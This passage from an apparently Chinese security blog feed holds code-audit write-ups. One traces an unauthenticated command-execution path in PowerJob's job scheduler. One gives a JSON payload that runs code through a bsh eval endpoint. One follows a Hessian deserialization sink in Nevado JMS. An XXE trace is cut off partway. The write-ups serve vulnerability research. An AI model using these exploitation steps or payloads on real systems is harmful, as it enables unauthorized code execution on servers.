    <content type="html"><![CDATA[<p>PowerJob本身没有鉴权网关，所以所有接口都可以未授权操作</p><p>首先看JobController的runImmediately方法负责执行任务，</p><p>任务调度的处理过程有点复杂，详情看</p><p><a href="https://blog.csdn.net/qq_42985872/article/details/128500740">https://blog.csdn.net/qq_42985872/article/details/128500740</a></p><p>定位到类：WorkerActor</p><p>onReceiveServerScheduleJobReq方法负责处理runjob节点的请求。此时空属性的ServerScheduleJobReq对象会传递进入下一级onReceiveServerScheduleJobReq方法</p><p><img src="/images/99/o5z_FwKXzvnwzzam6CAfy6yo6t5s3OsVrfOnPTzEgtM.png" alt="image"></p><p>onReceiveServerScheduleJobReq方法会根据任务类型进入不同的处理，轻量级任务进入LightTaskTracker</p><p><img src="/images/99/rXVI7l0HP6BB3M_t7AAJQBgBlHBTBx8CvVQHKiPLxtQ.png" alt="image"></p><p>而重量级任务则会进入HeavyTaskTracker</p><p><img src="/images/99/fAmhwqCuTrdVvGHqGKrByefF4DAO8SwSKY3Imva5oUA.png" alt="image"></p><p>跟进isLightweightTask方法查看如何判断的级别</p><p><img src="/images/99/rgPOxmOxiC4-w06HhU-pgsnuOa_8Of7YqZ42QTzBdpo.png" alt="image"></p><p>从isLightweightTask方法得知，单机、固定频率、固定延迟模式都属于轻量，其他则是重量</p><p>先跟进轻量，LightTaskTracker#create</p><p><img src="/images/99/aiqoHW4qnNBfDkdgPpAWcfIKqAQM9UAVXYULHI72eRA.png" alt="image"></p><p>请求传进LightTaskTracker对象：</p><p><img src="/images/99/9ERjIOBYwoBqTMWgIIfhch5xBUGmuEygw7_Q3WOWDk4.png" alt="image"></p><p>在构造方法中做了大量的初始化设定，具体为：会使用父类对请求先做一次参数初始化</p><p><img src="/images/99/f4366pdLsBSPfO93M9EjEuzQ3UBiGj8gR8DEbVK9FE0.png" alt="image"></p><p>此时的req是包含有控制台传来的各项参数，继续往下走，constructTaskContext方法会将各项参数封装到taskContext对象</p><p><img src="/images/99/RSfbIOenMUptyfXLQCzuu-kwfd1EcClmMkaAwVZJ7Bo.png" alt="image"></p><p><img src="/images/99/Op1UdjsFJdvHYgkW5UT0xe93nvpblhu9vNTJyNLUrQE.png" alt="image"></p><p>随后进入到load方法加载控制台传来的ProcessorInfo</p><p><img src="/images/99/M5E29ntyZ1aI68syFf4VsFE30QA3dxfL41W2tti_94I.png" alt="image"></p><p>在PowerJobProcessorLoader#load方法中，ProcessorInfo信息又被传进pf.build方法</p><p><img src="/images/99/r_cvNoi14O69sldMY1BaD2FmMvTc-lWy-eqS3DWhwBI.png" alt="image"></p><p>pf是包含 BuiltInDefaultProcessorFactory、JarContainerProcessorFactory的对象</p><p><img src="/images/99/nFJJBpgefF8uesgu0u2JYw4UOnXhC9XnH3JlceW_Smw.png" alt="image"></p><p>在load流程里，会根据传进的处理器类型进入不同的Factory</p><p><img src="/images/99/CqbBr0UqhA28cOw6erogK-RPcBNzxuJYVwx8v38CLVc.png" alt="image"></p><p>得到处理器参数：BUILT_IN、EXTERNAL</p><p><img src="/images/99/pGdLPwHoWhHYOA6UTia53BAsslF5jBEs8gg9HNH4OPI.png" alt="image"></p><p>分别查看两个Factory</p><p>JarContainerProcessorFactory：</p><p>根据注释得知该类是从容器加载class，从传进的参数中获取容器id以及容器里的全限定类名，格式大概是这样id#xx.xxx.xxx，当processorType是EXTERNAL时就会用到这个Factory</p><p><img src="/images/99/iqHGgwTEYfwHinPrsge7xciRTNrdfr2-MQ700IpkmYM.png" alt="image"></p><p>BuiltInDefaultProcessorFactory：</p><p>BuiltInDefaultProcessorFactory是内建的默认处理器工厂，可以通过全限定类名加载处理器，在build方法中，会根据传进的ProcessorInfo信息来实例化对象，即ProcessorInfo参数就是全限定类名。当processorType是BUILT_IN时就会用到这个Factory</p><p><img src="/images/99/wVx3T96hJAnVbGhopt6Z4vMuY9kyDEOILeGiPo2WU6o.png" alt="image"></p><p>load方法走完了，回到构造方法LightTaskTracker中，实例化后的ProcessorInfo信息被封装到processorBean对象</p><p><img src="/images/99/CcvkyaUO1B7H8ajuBgt326TR6f7RmLpq2i9ZLP4D6uI.png" alt="image"></p><p><img src="/images/99/7IfmcNlZ67RXPPCgK4jdOdUvbR4KxetDV5oQPyGJ1xo.png" alt="image"></p><p>在初始化完所有信息后，进入到processTask方法，其会在线程池中完成被调用</p><p><img src="/images/99/WfBywAwMiUMVWyXF9NWzL15fdJv8CSVDf7uT4LRNjCQ.png" alt="image"></p><p>跟进processTask方法，参数传进process</p><p><img src="/images/99/S6WHFAh1snUZ-Ho6KRiAkug7Xbluy_70PplUbIjfk64.png" alt="image"></p><p>因为在此之前设置了当前线程上下文加载器</p><p><img src="/images/99/LMP7MLIZYdxxwwMBFfrkiSHzKlWdKE0UOuLVaJo6aLE.png" alt="image"></p><p>所以此时被实例化的processorBean会使用到前面实例化时设置的classloader加载</p><p><img src="/images/99/fWcY4yQHj_0EVzihquGzZ7FL1I7cLQIDcJ6waiJOaPg.png" alt="image"></p><p>进入到</p><p>CommonBasicProcessor#process</p><p>该类是一个通用处理器类</p><p><img src="/images/99/iaSFp6HoWgdnC5J9wnTuOXR-HQyz8NwEaT0CZ_BYO4.png" alt="image"></p><p>process方法中，将包含有任务参数、任务instanceId等信息的TaskContext对象传进process0方法</p><p><img src="/images/99/2a_6OAi_dOkNlzbv6cwfeWCBmX_DcFNl_V2jXNOUSgY.png" alt="image"></p><p><img src="/images/99/FoHnNt5nZewDKKfQWgsckLjRU0amt-u8nkjMywjDLHk.png" alt="image"></p><p>process0方法属于AbstractScriptProcessor类，该类属于通用脚本处理器类，所有脚本插件都要继承该类。在process0方法中，会使用prepareScriptFile方法来根据控制台传来的内容生成脚本文件，文件名是instanceId</p><p><img src="/images/99/07xl9k69FGgwoTRME6gsoOdox0zj_-jENbekFDVnGOA.png" alt="image"></p><p><img src="/images/99/i7Ie1F2BYZwY8VV5MPWhIvrM7NMR_K4pO_FZQ3DCz20.png" alt="image"></p><p>跟进getScriptName方法发现是一个抽象方法</p><p><img src="/images/99/NVavflV4Ekk9Of5eCMiUezddZex_1TI408lgJz3UXa8.png" alt="image"></p><p>所在的抽象类由多个插件类继承，用于应对不同系统的调用。在powerjob本身中自带有多个脚本处理器（插件）</p><p><img src="/images/99/0eJ5nx4fAdpZ-nabVZntMb7i9tlgH3cHEQctYOixgxk.png" alt="image"></p><p>被重写的getScriptName方法大同小异，均返回对应系统的脚本文件名：cmd_instanceId.bat/shell_instanceId.sh</p><p><img src="/images/99/DTfharPQeHvLm2lxaa6hMNUzpagfcgporCr7IK6WKFA.png" alt="image"></p><p><img src="/images/99/ry6LRdcXS7YWzvXIIeKoBtDMKz8BKxv5Ei7F8KOzLfE.png" alt="image"></p><p>回到prepareScriptFile方法，最终把参数写入脚本文件</p><p><img src="/images/99/F80vz9E9xRN7k8S_-l5VLViXwPCxes26tuqLkS7cBWk.png" alt="image"></p><p>回到process0方法，方法里会调用到抽象方法getRunCommand，根据子类重写的方法返回来判断要调用哪个应用来执行脚本。</p><p>也就是说，当控制台传进的processorInfo（即封装后的processorBean）是CMDProcessor类时，getRunCommand则是CMDProcessor里重写的getRunCommand方法，返回的是cmd.exe，否则就是剩余的几个Processor（python、sh、powershell）</p><p><img src="/images/99/buN2XWRZoXyK04LiPQ0Sb2Se-WLRVgyAeHf1Q9QQuAQ.png" alt="image"></p><p>最终由ProcessBuilder完成对getRunCommand方法返回值的调用，scriptPath被当成返回值的参数进行执行。漏洞由此产生</p><p>剩下的HeavyTaskTracker.create不看了，可能更复杂</p><h1 id="验证："><a href="#验证：" class="headerlink" title="验证："></a>验证：</h1><p>根据saveJob方法里jobInfoDO的信息构造参数保存任务，其中jobParams参数是恶意命令，最后使用runImmediately方法执行任务就会触发漏洞</p><figure class="highlight python"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs python">src/main/java/tech/powerjob/server/web/controller/JobController.java<br></code></pre></div></td></tr></table></figure><p>保存任务</p><p><img src="/images/99/WImONBAtVk7HWBONPNyCjFjPgVuI05Fh_SX4A73Eekg.png" alt="image"></p><p>查看实体类，可以看到有一个处理器选项</p><figure class="highlight plain"><figcaption><span>Text</span></figcaption><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs Plain">SaveJobInfoRequest<br></code></pre></div></td></tr></table></figure><p><img src="/images/99/loJ8Iw5x79AczXNPAZdPBZYny0lFmmV_wYgXPi_K6mo.png" alt="image"></p><figure class="highlight plain"><figcaption><span>Text</span></figcaption><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs Plain">ProcessorType类<br></code></pre></div></td></tr></table></figure><p><img src="/images/99/1qoMlt7rpMEoeHJgQhbyphu6z7kqPZW1gJ8Iazn2r8c.png" alt="image"></p><h2 id="V3-X及以前"><a href="#V3-X及以前" class="headerlink" title="V3.X及以前"></a>V3.X及以前</h2><p>在V3及以前版本中可以直接通过shell处理器的方式执行系统命令，但仅限于linux</p><p><img src="/images/99/ZJxPfgFNL8FKO84o_mpqtxbZRNgvSj9bXOxhK-Xep_Q.png" alt="image"></p><p><img src="/images/99/I8i9YYIMzXo_-3BM_T0D3aIdPl_wKcctBStRl0JMSD4.png" alt="image"></p><p>新建任务时，designatedWorkers可指定机器，不指定机器默认全部执行</p><p>可以查看所有机器地址</p><p><img src="/images/99/GXV_J9y4jdCxeZG698txsEUW8fNXyEA2kriV3-rXb2g.png" alt="image"></p><p>processorInfo的参数为命令执行参数</p><p><img src="/images/99/ClO0n3fnusO-SUyyLCQMuGAv9KemF8gSQ7uOVjuOHs0.jpg" alt="image"></p><p>搜索刚刚创建的任务关键字得出任务id</p><p><img src="/images/99/6GuiG10XvZ8PC1YMT5OySsRZ214RS2SngDu-rUfF7bw.jpg" alt="image"></p><p>运行任务id得到结果id</p><p><img src="/images/99/5HZCMurI5Nl9bS7tT03kNfAzsMrB2mf9fAw5LCx1qEY.jpg" alt="image"></p><p>根据id获取命令执行结果</p><p><img src="/images/99/SUaUqNXldMZhWK75tel9VlUCZCEhzzKUITeRBr02z78.jpg" alt="image"></p><h2 id="V4-X"><a href="#V4-X" class="headerlink" title="V4.X"></a>V4.X</h2><p>v4以后的处理器都是通过插件的方式调用，此时双系统都可以执行命令</p><p><img src="/images/99/rKY5sfX7RwhMpBDfrqREo0iwGjSSRMEBOO4dLEJjN88.png" alt="image"></p><h3 id="windows："><a href="#windows：" class="headerlink" title="windows："></a>windows：</h3><p>通过内置的全限定类名执行</p><p>保存任务后，查询任务id</p><p><img src="/images/99/sh2XztQgfQkXa59C2U9jbmdczVmQmkJh38rz4rPunDo.png" alt="image"></p><p>运行得到的id</p><p><img src="/images/99/cm5DLMiBDxxbcNfrcBSEFo0fojwjykAeJSu1n3ieRjQ.png" alt="image"></p><h3 id="linux："><a href="#linux：" class="headerlink" title="linux："></a>linux：</h3><p>ShellProcessor</p><h3 id="python"><a href="#python" class="headerlink" title="python:"></a>python:</h3><p>PythonProcessor<br>该脚本处理器专门处理python_%d.py，可以往py里写入任意代码执行，但需要环境有python环境</p><h3 id="powershell"><a href="#powershell" class="headerlink" title="powershell:"></a>powershell:</h3><p>PowerShellProcessor</p><p>以上都可以通过查询执行成功响应的id来查看命令回显</p><p><img src="/images/99/SUZVEelwT3BYErkVTXOIcyDBCNsR1J62MmkdUIOeqI4.png" alt="image"></p><h1 id="tips"><a href="#tips" class="headerlink" title="tips"></a>tips</h1><p>假如通过v3的方式在v4增加了任务，可以尝试通过接口转换执行</p><p><img src="/images/99/IJWP6bbNhMhnhCbFjzeesd7mXe916O_js2AfxAqDAck.png" alt="image"></p><p>但需要目标有这个依赖</p><figure class="highlight plain"><figcaption><span>Text</span></figcaption><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs Plain">&lt;dependency&gt;<br>    &lt;groupId&gt;tech.powerjob&lt;&#x2F;groupId&gt;<br>    &lt;artifactId&gt;powerjob-official-processors&lt;&#x2F;artifactId&gt;<br>    &lt;version&gt;4.3.3&lt;&#x2F;version&gt;<br>&lt;&#x2F;dependency&gt;<br></code></pre></div></td></tr></table></figure>]]></content>
    
    
    <categories>
      
      <category>代码审计</category>
      
    </categories>
    
    
    <tags>
      
      <tag>代码审计</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>一个bsh任意代码执行</title>
    <link href="/2023/05/18/107/"/>
    <url>/2023/05/18/107/</url>
    
    <content type="html"><![CDATA[<p>Springboot项目，看到目标使用了<code>bsh.1.2b7</code><br><img src="/images/107/1.png" alt="image"><br>直接使用辅助工具查找<code>bsh.Interpreter</code>的<code>eval</code>方法<br><img src="/images/107/2.png" alt="image"><br>在一个工具类中发现一个执行代码的地方，往下查看，这个<code>execJavascript</code>方法由<code>isElse</code>方法调用<br><img src="/images/107/3.png" alt="image"><br>通过查找<code>isElse</code>方法，发现由一个Controller调用<br><img src="/images/107/4.png" alt="image"><br>因为传递的类型是 <code>List&lt;Map&gt; list</code>，所以参数格式是</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">[&#123;<span class="hljs-string">&quot;formulaContent&quot;</span>:<span class="hljs-string">&quot;&quot;</span>,<span class="hljs-string">&quot;formulaCn&quot;</span>:<span class="hljs-string">&quot;&quot;</span>&#125;]<br></code></pre></div></td></tr></table></figure><p>拼接url发送请求即可利用</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">[&#123;<span class="hljs-string">&quot;formulaContent&quot;</span>:<span class="hljs-string">&quot;exec(\&quot;calc\&quot;)&quot;</span>,<span class="hljs-string">&quot;formulaCn&quot;</span>:<span class="hljs-string">&quot;hi!woshishabi&quot;</span>&#125;]<br></code></pre></div></td></tr></table></figure><p>本地验证：<br><img src="/images/107/5.png" alt="image"><br><img src="/images/107/6.png" alt="image"></p>]]></content>
    
    
    <categories>
      
      <category>代码审计</category>
      
    </categories>
    
    
    <tags>
      
      <tag>代码审计</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>Nevado JMS反序列化审计tips</title>
    <link href="/2023/04/01/95/"/>
    <url>/2023/04/01/95/</url>
    
    <content type="html"><![CDATA[<blockquote><p><a href="http://nevado.skyscreamer.org/">http://nevado.skyscreamer.org/</a></p></blockquote><blockquote><p>Nevado JMS 是 Amazon SQS 的 JMS 驱动程序</p></blockquote><h1 id="流程分析"><a href="#流程分析" class="headerlink" title="流程分析"></a><strong>流程分析</strong></h1><p>按照文档写一个消息接收</p><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java"><span class="hljs-keyword">public</span> <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">App</span> </span>&#123;<br>    <span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title">main</span><span class="hljs-params">(String[] args)</span> <span class="hljs-keyword">throws</span> Exception </span>&#123;<br>        <span class="hljs-keyword">new</span> ClassPathXmlApplicationContext(<span class="hljs-string">&quot;applicationContext.xml&quot;</span>);<br>        NevadoConnectionFactory connectionFactory = <span class="hljs-keyword">new</span> NevadoConnectionFactory();<br>        NevadoConnection connection = connectionFactory.createConnection();<br>        NevadoSession session = connection.createSession(<span class="hljs-keyword">false</span>, NevadoSession.AUTO_ACKNOWLEDGE);<br>        NevadoQueue queue = session.createQueue(<span class="hljs-string">&quot;test&quot;</span>);<br>        NevadoMessageConsumer consumer = session.createConsumer(queue);<br>        NevadoMessage message = consumer.receive();<br>        <span class="hljs-comment">//        if (message instanceof TextMessage) &#123;</span><br>        <span class="hljs-comment">//            TextMessage textMessage = (TextMessage) message;</span><br>        <span class="hljs-comment">//            System.out.println(&quot;Received message: &quot; + textMessage.getText());</span><br>        <span class="hljs-comment">//        &#125;        </span><br>        connection.close();<br>    &#125;<br>&#125;<br></code></pre></div></td></tr></table></figure><p>在上面的流程中，会创建一个test队列传到receive方法，具体为：</p><p>队列“test”传进createConsumer方法，在createConsumer方法时被传递进了NevadoMessageConsumer对象</p><p><img src="/images/95/n5uan030E3squUEvxTctmwQeQpDvDUB1BlEoRDhB6vQ.png" alt="image"></p><p>在构造函数NevadoMessageConsumer中，因为传进的是queque类型，所以会进入else，此时<code>_destination</code>就是队列test</p><p><img src="/images/95/xnH6iGAC0yvy6THveI21YWLua_zJn-1jZMpxYHF2tnc.png" alt="image"></p><p>回到消息接收中，receive()方法会监听队列，从队列中接收消息</p><p><img src="/images/95/Jxnd3vfAi34OZXAqI8xHhWGe_Wohh77OCSvN8T2Bxak.png" alt="image"></p><p>继续跟进getUnfilteredMessage方法查看实现流程</p><p><img src="/images/95/mXdksqi6P84SXEO-UuWwCnw7vcdxQwL9fZV9FmjLv-U.png" alt="image"></p><p>getUnfilteredMessage方法是过滤被消费的消息，如果接收模式是2，就会先从缓存读取</p><p><img src="/images/95/mfOQnN-w1A4Cp--i-Ng63qwQVqR8fI-4TucYyO_KEOE.png" alt="image"></p><p>当不满足条件时就会调用<code>this._connection.getSQSConnector().receiveMessage</code>来接收队列消息，然后再将被接收过的消息添加到缓存中</p><p><img src="/images/95/29l4kptjFARpBUqRYYs8cXvFR7q6-IjQjZPGbjQKu3c.png" alt="image"></p><p>具体为：</p><p>已知初始化时<code>_connection</code>是NevadoConnection对象</p><p><img src="/images/95/7Bxc8PyIauEMLNRbtFYxCLkAwndg4MC5VOtPP1zZAlw.png" alt="image"></p><p><img src="/images/95/7o1VEutT7qU6-ayLw2yVpI1x5QxiE28yjOhkYxFq6NY.png" alt="image"></p><p>getSQSConnector方法返回的是SQSConnector</p><p><img src="/images/95/dYjClZYULh0Nb4fc18Sxzkjaygc5VtWAw8QAMaftuPU.png" alt="image"></p><p><img src="/images/95/Avebnrrt-1wr8D1r2oEnrC6zSWOn2fx-2CH1Vb4s0lA.png" alt="image"></p><p>这个接口封装了 Amazon SQS 相关的 API 调用，receiveMessage方法是接收消息</p><p><img src="/images/95/nuWRNyfPY9wtr4FUeaqUuL5SBQJ3QPtBRtd-ZGU5LKg.png" alt="image"></p><p>所以从代码分析，当不满足条件时，就会接收从Amazon SQS发送的队列消息</p><p><img src="/images/95/uByCmo06u-45PZzjiLe7gpc9ub3Cq12INwJmPccshSc.png" alt="image"></p><p>跟进实现receiveMessage方法的实现类</p><p>在receiveMessage方法中，会将取出的队列传进receiveSQSMessage方法进一步接收队列中的消息</p><p><img src="/images/95/vJm-nWbxvWfRDFAEsF-_dwncibyYyQLITBTaTcir7zA.png" alt="image"></p><p>跟进receiveSQSMessage方法</p><p><img src="/images/95/MQoWbOKrt4S9yqzmGj0Kf8rDH3_1gaO7qqrY5alUL_o.png" alt="image"></p><p>此时receiveSQSMessage方法返回的就是test里面的消息，返回receiveMessage</p><p><img src="/images/95/6XEVsyUVWM0-zLGZDlymMwtXw8gVG0AHdKY17278BJ8.png" alt="image"></p><p>接收到队列消息后，将消息等参数传进convertSqsMessage方法</p><p><img src="/images/95/ChN_NNHqnyvVNCO9pn4hG4L4SsCv7_hf1SuUPb-wED4.png" alt="image"></p><p>在convertSqsMessage方法中，会根据传进的destination类型来做不同的消息取出动作</p><p><img src="/images/95/Bia_zCUogPPNtCWWbciSbZIE3nRYtJehtm6AUDPBw6k.png" alt="image"></p><p>随后将取出的消息传进deserializeMessage方法做反序列化</p><p><img src="/images/95/4RCqjTKj0a3hENBuqX4h-IVz36JX4jvxv__6p4gm7wU.png" alt="image"></p><p>跟进deserializeFromString</p><p><img src="/images/95/WFEMzAOh3LhlAilQqxRiu81HX466tIZ4gmGE_1qCy3o.png" alt="image"></p><p>在deserializeFromString方法中，会对传进的消息做一次base64解码操作，然后再使用Hessian2Input对象进行反序列化。</p><p>根据代码的流程，如果要进行漏洞利用，acknowledgeMode就必须不等于2且transacted是false才能进入else走到反序列化功能，如开头所写，NevadoSession的模式分为4种：</p><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java"><span class="hljs-keyword">int</span> AUTO_ACKNOWLEDGE = <span class="hljs-number">1</span>;<br><span class="hljs-keyword">int</span> CLIENT_ACKNOWLEDGE = <span class="hljs-number">2</span>;<br><span class="hljs-keyword">int</span> DUPS_OK_ACKNOWLEDGE = <span class="hljs-number">3</span>;<br><span class="hljs-keyword">int</span> SESSION_TRANSACTED = <span class="hljs-number">0</span>;<br></code></pre></div></td></tr></table></figure><p>且因为反序列化使用的是Hessian2Input，所以得知序列化的数据得是Hessian格式</p><p>该组件提供了一个反序列化工具类SerializeUtil.class，可以直接用来序列化恶意数据</p><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java"><span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> String <span class="hljs-title">serializeToString</span><span class="hljs-params">(Serializable serializable)</span> <span class="hljs-keyword">throws</span> IOException </span>&#123;<br>    <span class="hljs-keyword">byte</span>[] data = serialize(serializable);<br>    <span class="hljs-keyword">return</span> <span class="hljs-keyword">new</span> String(Base64.encodeBase64(data));<br>&#125;<br><br><span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">byte</span>[] serialize(Serializable serializable) <span class="hljs-keyword">throws</span> IOException &#123;<br>    ByteArrayOutputStream byteArrayOutputStream = <span class="hljs-keyword">new</span> ByteArrayOutputStream();<br>    Hessian2Output hessian2Output = <span class="hljs-keyword">new</span> Hessian2Output(byteArrayOutputStream);<br>    hessian2Output.setSerializerFactory(<span class="hljs-keyword">new</span> SerializerFactory(SerializeUtil.class.getClassLoader()));<br>    hessian2Output.startMessage();<br>    <span class="hljs-keyword">if</span> (serializable <span class="hljs-keyword">instanceof</span> Character) &#123;<br>        serializable = <span class="hljs-keyword">new</span> CharWrapper((Character)serializable);<br>    &#125;<br><br>    hessian2Output.writeObject(serializable);<br>    hessian2Output.completeMessage();<br>    hessian2Output.close();<br></code></pre></div></td></tr></table></figure><h1 id="漏洞验证："><a href="#漏洞验证：" class="headerlink" title="漏洞验证："></a><strong>漏洞验证：</strong></h1><h2 id="方式一、本地部署验证"><a href="#方式一、本地部署验证" class="headerlink" title="方式一、本地部署验证"></a><strong>方式一、本地部署验证</strong></h2><p>发送消息的客户端，destination类型是queque</p><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java"><span class="hljs-keyword">public</span> <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Appclient</span> </span>&#123;<br>    <span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title">main</span><span class="hljs-params">(String[] args)</span> <span class="hljs-keyword">throws</span> JMSException </span>&#123;<br>        <span class="hljs-keyword">new</span> ClassPathXmlApplicationContext(<span class="hljs-string">&quot;applicationContext.xml&quot;</span>);<br>        NevadoConnectionFactory connectionFactory = <span class="hljs-keyword">new</span> NevadoConnectionFactory();<br>        NevadoConnection connection = connectionFactory.createConnection();<br><span class="hljs-comment">//false和1</span><br>        NevadoSession session = connection.createSession(<span class="hljs-keyword">false</span>, NevadoSession.AUTO_ACKNOWLEDGE);<br>        NevadoQueue queue = session.createQueue(<span class="hljs-string">&quot;test&quot;</span>);<br>        NevadoMessageProducer producer = session.createProducer(queue);<br><span class="hljs-comment">//如果destination类型是topic，那就是&#123;&quot;Message&quot;:&quot;base64编码后的恶意数据&quot;&#125;</span><br>        NevadoMessage message = session.createTextMessage(<span class="hljs-string">&quot;base64编码后的恶意数据&quot;</span>);<br>        producer.send(message);<br>        connection.close();<br><br>    &#125;<br></code></pre></div></td></tr></table></figure><p>接收消息：</p><p><img src="/images/95/841TCMHHobqgtPAJ6iKYTQbYHgkb5hYGsM1GE5iEU4E.png" alt="image"></p><h2 id="方式二、搭配amazon-sqs使用验证（没用过，理论是这样）"><a href="#方式二、搭配amazon-sqs使用验证（没用过，理论是这样）" class="headerlink" title="方式二、搭配amazon sqs使用验证（没用过，理论是这样）"></a><strong>方式二、搭配amazon sqs使用验证（没用过，理论是这样）</strong></h2><p>注册一个amazon，使用sqs服务</p><p><img src="/images/95/GfLivifAmarYYuEaT8J_JFUP3Q58ey6ayz_YIxX5X2U.png" alt="image"></p><p>然后发送消息</p><p><img src="/images/95/lwQATXcGna5Hvxq3F3tuXcbGr5NaqMaplRkME4LfikA.png" alt="image"></p><p>或者</p><p><img src="/images/95/2sgdNydTmydgrLRpddf8Mmjn-DzaSnukVyDAD22hcmk.png" alt="image"></p><p>集群在接收消息后就会触发</p><h1 id="结尾"><a href="#结尾" class="headerlink" title="结尾"></a><strong>结尾</strong></h1><p>在跟进的时候还发现了亚马逊接收消息有一个getObject，应该也是个反序列化的点，后来搜网上有文章，属于是nday这里就不继续说了</p><p>Maven依赖</p><figure class="highlight"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java">&lt;dependency&gt;<br>  &lt;groupId&gt;com.amazonaws&lt;/groupId&gt;<br>  &lt;artifactId&gt;aws-java-sdk&lt;/artifactId&gt;<br>  &lt;version&gt;1.11.31&lt;/version&gt;<br>&lt;/dependency&gt;<br>&lt;dependency&gt;<br>  &lt;groupId&gt;org.skyscreamer&lt;/groupId&gt;<br>  &lt;artifactId&gt;nevado-jms&lt;/artifactId&gt;<br>  &lt;version&gt;1.3.2&lt;/version&gt;<br>&lt;/dependency&gt;<br></code></pre></div></td></tr></table></figure><p> </p>]]></content>
    
    
    <categories>
      
      <category>代码审计</category>
      
    </categories>
    
    
    <tags>
      
      <tag>代码审计</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>两个审计记录</title>
    <link href="/2023/02/22/106/"/>
    <url>/2023/02/22/106/</url>
    
    <content type="html"><![CDATA[<h1 id="JAX-RS接口-XXE跟进记录"><a href="#JAX-RS接口-XXE跟进记录" class="headerlink" title="JAX-RS接口 XXE跟进记录"></a>JAX-RS接口 XXE跟进记录</h1><p>某个项目</p><p>在HeikeServiceImpl中有一处解析xml的方法</p><p><img src="/images/106/Sqg3CnD3F-kL7bZb9UNS8R8fNlFJ4JvM9m1gn5sNUlA.png" alt="image"></p><p>参数input由上一层传来</p><p><img src="/images/106/gjWnYugem-I-R-5Zi57zEe1ejECrpD0tuuUfa6CD6LY.png" alt="image"></p><p>查看都有哪些地方调用了parseMetadata方法</p><p><img src="/images/106/ikT8angWY1sKuqApIh-jWJsMp7lvLYEUTMOLd-3Nwuc.png" alt="image"></p><p>先看第二个</p><p>在NiganshaServiceImpl类的方法中，是根据传入的appkey来取出需要解析的对象</p><p><img src="/images/106/YoDnKh6pFhGLAs6hu8MjnHZ6-oPx3dx401zukJrYaRU.png" alt="image"></p><p>除非找到有一个功能可以编辑保存appkey对应的信息，否则这个getXml参数不可控</p><p><img src="/images/106/7DiHftzZCi2BMh1cyhSfy9_MtSbPBQjyF-GK9fyKSqQ.png" alt="image"></p><p>找需要时间，所以返回上图看WoganshaServiceImpl类</p><p>在WoganshaServiceImpl类的方法中，从代码可以看到是传入了一个被base64编码过的参数</p><p><img src="/images/106/EKpLjufyFTxJT0Fub7pXrDAU2g7FWy1z80WWlIQnKV4.png" alt="image"></p><p>往上跟进addSEDefinition方法，在create方法中用到了addSEDefinition</p><p><img src="/images/106/01kztfM9CSzp1WwmYq8JIX7_dhj7XkaXjTJMzOE9R8k.png" alt="image"></p><p>再往上跟进就能看到终点</p><p><img 